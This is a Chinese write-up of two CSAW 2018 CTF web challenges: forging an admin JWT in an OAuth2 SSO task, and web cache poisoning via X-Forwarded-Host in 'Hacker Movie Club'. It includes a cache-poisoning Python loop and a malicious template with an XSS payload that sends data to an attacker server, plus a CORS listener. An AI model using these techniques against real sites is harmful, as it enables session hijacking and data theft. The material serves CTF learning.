CSAW 2018 复现writeup

栏目: 服务器 · Apache · 发布时间: 6年前

内容简介:补补web打开源代码如下:关于OAUTH2.0的授权的详细模式可以参考

_

补补web

Web

sso

Don't you love undocumented APIs

Be the admin you were always meant to be

http://web.chal.csaw.io:9000

Update chal description at: 4:38 to include solve details

Aesthetic update for chal at Sun 7:25 AM

打开源代码如下:

<h1>Welcome to our SINGLE SIGN ON PAGE WITH FULL OAUTH2.0!</h1>
  <a href="/protected">.</a>
  <!--
  Wish we had an automatic GET route for /authorize... well they'll just have to POST from their own clients I guess
  POST /oauth2/token
  POST /oauth2/authorize form-data TODO: make a form for this route
  --!>
  

关于OAUTH2.0的授权的详细模式可以参考 这篇文章六、授权码模式

授权模式大致流程如下:

  1. 获取Authorization Code,通常访问/authorize

请求的参数:

  • response_type:表示授权类型,必选项,此处的值固定为”code”
  • client_id:表示客户端的ID,必选项
  • redirect_uri:表示重定向URI,可选项
  • scope:表示申请的权限范围,可选项
  • state:表示客户端的当前状态,可以指定任意值,认证服务器会原封不动地返回这个值。
  1. 获取Access Token,通常访问/token

请求的参数:

  • grant_type:表示使用的授权模式,必选项,此处的值固定为”authorization_code”。
  • code:表示上一步获得的授权码,必选项。
  • redirect_uri:表示重定向URI,必选项,且必须与A步骤中的该参数值保持一致。
  • client_id:表示客户端ID,必选项。
  1. 访问限制资源,比如这里的/protected

所以第一步,获取Authorization Code。

CSAW 2018 复现writeup

然后在我们的服务器上能收到:

CSAW 2018 复现writeup

拿到code:

再去拿到token。

CSAW 2018 复现writeup

得到token:

将这个token拿到 jwt.io/ 解密。

CSAW 2018 复现writeup

这里的 secret 就是加密秘钥,所以我们可以将type改为admin。

CSAW 2018 复现writeup

我们拿着这个token去访问 /protected

CSAW 2018 复现writeup

得到flag:flag{JsonWebTokensaretheeasieststorage-lessdataoptiononthemarket!theyrelyonsupersecureblockchainlevelencryptionfortheirmethods}。

参考链接

https://www.aperikube.fr/docs/csawquals_2018/sso/

https://github.com/TryCTFAgain/CTF-Writeups/blob/master/2018/CSAW%20CTF’18/web.md#sso

Hacker Movie Club

Hacker Movie Club
Hacker movies are very popular, so we needed a site that we can scale. You better get started though, there are a lot of movies to watch.

Author: itszn (ret2 systems)

http://app.hm.vulnerable.services/

CSAW 2018 复现writeup

打开主页如下:

CSAW 2018 复现writeup

源码:(去掉style)

<html>
<head>
<script data-src="mustache.min.js" data-cdn="4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services"></script>
<script data-src="app.js" data-cdn="4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services"></script>
</head>
<body>
<div id="content">Loading..</div>
<script>
window.loaded_recapcha = () => {
    window.loaded_recapcha = true;
}
window.loaded_mustache = () => {
    window.loaded_mustache = true;
}
</script>

<script src="/cdn.js"></script>

<script src='https://www.google.com/recaptcha/api.js?onload=loaded_recapcha&render=explicit'></script>
</body>
</html>

其中的 /cdn.js 作用是加上 X-Forwarded-Host 头去加载上面两个脚本。

// cdn.js
for (let t of document.head.children) {
    if (t.tagName !== 'SCRIPT')
        continue;
    let { cdn, src } = t.dataset;
    if (cdn === undefined || src === undefined)
        continue;
    fetch(`//${cdn}/cdn/${src}`,{
        headers: {
            'X-Forwarded-Host':cdn
        }}
    ).then(r=>r.blob()).then(b=> {
        let u = URL.createObjectURL(b);
        let s = document.createElement('script');
        s.src = u;
        document.head.appendChild(s);
    });
}

主页面上还有一个 report 的功能,一般看到这个一般都会出现XSS利用,但是这道题中并没有输入交互,所以XSS的利用方式还有些不同。

app.js如下:

// app.js
var token = null;

Promise.all([
    fetch('/api/movies').then(r=>r.json()),
    fetch(`//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst`).then(r=>r.text()),
    new Promise((resolve) => {
        if (window.loaded_recapcha === true)
            return resolve();
        window.loaded_recapcha = resolve;
    }),
    new Promise((resolve) => {
        if (window.loaded_mustache === true)
            return resolve();
        window.loaded_mustache = resolve;
    })
]).then(([user, view])=>{
    document.getElementById('content').innerHTML = Mustache.render(view,user);

    grecaptcha.render(document.getElementById("captcha"), {
        sitekey: '6Lc8ymwUAAAAAM7eBFxU1EBMjzrfC5By7HUYUud5',
        theme: 'dark',
        callback: t=> {
            token = t;
            document.getElementById('report').disabled = false;
        }
    });
    let hidden = true;
    document.getElementById('report').onclick = () => {
        if (hidden) {
          document.getElementById("captcha").parentElement.style.display='block';
          document.getElementById('report').disabled = true;
          hidden = false;
          return;
        }
        fetch('/api/report',{
            method: 'POST',
            body: JSON.stringify({token:token})
        }).then(r=>r.json()).then(j=>{
            if (j.success) {
                // The admin is on her way to check the page
                alert("Neo... nobody has ever done this before.");
                alert("That's why it's going to work.");
            } else {
                alert("Dodge this.");
            }
        });
    }
});

main.mst下载后发现是模板文件。

<div class="header">
Hacker Movie Club
</div>


<div class="header admin">
Welcome to the desert of the real.
</div>


<table class="movies">
<thead>
 <th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>

  
    <tr>
      <td></td>
      <td></td>
      <td></td>
    </tr>
  

</tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>

初期的一个探索并没有发现什么有价值的东西,所以我们可以考虑对每个请求包进行分析。

/api/movies 响应的body中看到了一个只能由admin查看的项:

CSAW 2018 复现writeup

当我们把它通过抓包改成 false 时,可以发现:

CSAW 2018 复现writeup

CSAW 2018 复现writeup

可以看到,隐藏的项就出来了,所以我们的目的就明确了,但是我们没有太多可以交互的地方,所以还需要找突破点。

观察后发现每个响应头都有:

HTTP/1.1 200 OK
...
Cache-Control: no-cache
X-Varnish: 157274709
Age: 0
Via: 1.1 varnish-v4
Accept-Ranges: bytes
Connection: keep-alive

去了解了下 varnish ,发现它是一个 反向代理 中的 缓存服务 程序。

如果来自Apache的响应是可缓存的,Varnish会将其存储以便更快地响应未来的请求。

varnish详细的请求头可以在 这里 找到。

所以这里我们需要用到一种叫 Web Cache Poisoningweb缓存污染 )的利用方法,这个跟 Cache Poisoning (又称DNS污染)是不一样的东西。

参考链接:

中文版-实战Web缓存中毒

英文原版

这里我们可以重点关注 DOM Poisoning (DOM污染)。

另一个需要先了解的事情是 X-Forwarded-Host 的作用,详情可参考: 这里

X-Forwarded-Host (XFH) 是一个事实上的标准首部,用来确定客户端发起的请求中使用 Host 指定的初始域名。 反向代理(如负载均衡服务器、CDN等)的域名或端口号可能会与处理请求的源头服务器有所不同,在这种情况下,X-Forwarded-Host 可以用来确定哪一个域名是最初被用来访问的。

语法:

X-Forwarded-Host: <host>

上面这些归结起来就是 当服务器进行缓存时它会将客户端的请求转发到XFH指定的host上去。

现在再回过头看看我们已有的资料。我们得知 main.mst 是模板文件,它会利用``等对admin身份进行判断,如果我们能够劫持掉这个模板文件,使她绕过admin就可以获得到完整的项。

我们先来找到 main.mst 缓存的最大时间( max-age ),我们可以带着 X-Forwarded-Host 不停的请求 /cdn/app.js ,如果 fetch('//4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/main.mst') 能被我们控制到 fetch('my_server/cdn/main.mst') 上就成功的完成了劫持。

我们可以使用下面的脚本验证一下:

# -*- coding: utf-8 -*-

import requests

X_Forwarded_Host = '1.2.3.4' 

while True:
    resp = requests.get("http://4ca7ee46a1d73057a0e009e5ce94291030185d14.hm.vulnerable.services/cdn/app.js", headers={'X-Forwarded-Host': X_Forwarded_Host})
    print resp.headers
    if X_Forwarded_Host in resp.text:
        print resp.text
        break

结果如下:

CSAW 2018 复现writeup

CSAW 2018 复现writeup

可以看到我们成功的通过 web缓存污染 劫持了模板文件。接着我们再构造好模板文件,然后让admin去访问就可以拿到flag了。

<div class="header">
Hacker Movie Club
</div>

<div class="header admin">
Welcome to the desert of the real.
</div>

<table class="movies">
<thead>
 <th>Name</th><th>Year</th><th>Length</th>
</thead>
<tbody>

    <tr>
      <td></td>
      <td></td>
      <td></td>
    </tr>

</tbody>
</table>

<div class="captcha">
  <div id="captcha"></div>
</div>
<button id="report" type="submit" class="report"></button>
<img src=x onerror="fetch('http://my_server_ip/'+'')">

如果你直接访问会出现一个 跨域资源共享 (CORS)的问题,如下:

CSAW 2018 复现writeup

它要求服务器回应的头信息要包含 Access-Control-Allow-Origin 字段,如果你不想配置Apache或者Nginx,那你可以使用下面这个建议的python web server。

#!/usr/bin/env python
# -*- coding: utf-8 -*-

try:
    # Python 3
    from http.server import HTTPServer, SimpleHTTPRequestHandler, test as test_orig
    import sys
    def test (*args):
        test_orig(*args, port=int(sys.argv[1]) if len(sys.argv) > 1 else 8000)
except ImportError: # Python 2
    from BaseHTTPServer import HTTPServer, test
    from SimpleHTTPServer import SimpleHTTPRequestHandler

class CORSRequestHandler (SimpleHTTPRequestHandler):
    def end_headers (self):
        self.send_header('Access-Control-Allow-Origin', '*')
        SimpleHTTPRequestHandler.end_headers(self)

if __name__ == '__main__':
    test(CORSRequestHandler, HTTPServer)

开启后就能在日志输出中得到flag:

CSAW 2018 复现writeup

flag:flag{I_h0pe_you_w4tch3d_a11_th3_m0v1es}

参考链接:

https://lud1161.github.io/posts/hacker-movie-club-csaw-quals-2018/


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

一路编程

一路编程

史蒂夫·富特 (Steven Foote) / 佟达 / 电子工业出版社 / 2017-1-1 / CNY 65.00

《一路编程》是一本编程入门书籍,然而,如果以书中所讲内容作为入门标准,估计十有八九的在职程序员都不能算已入门。现代软件开发,已经不仅仅是写出正确的代码这么简单,环境、依赖、构建、版本、测试及文档,每一项都对软件是否成功交付起到至关重要的作用,这些都是每一个程序员在开发软件过程中必备的技能。《一路编程》对于上述的每一种技能都做了简洁而精练的介绍,以满足最基本的日常软件开发。换句话说,《一路编程》实际......一起来看看 《一路编程》 这本书的介绍吧!

随机密码生成器
随机密码生成器

多种字符组合密码

URL 编码/解码
URL 编码/解码

URL 编码/解码

MD5 加密
MD5 加密

MD5 加密工具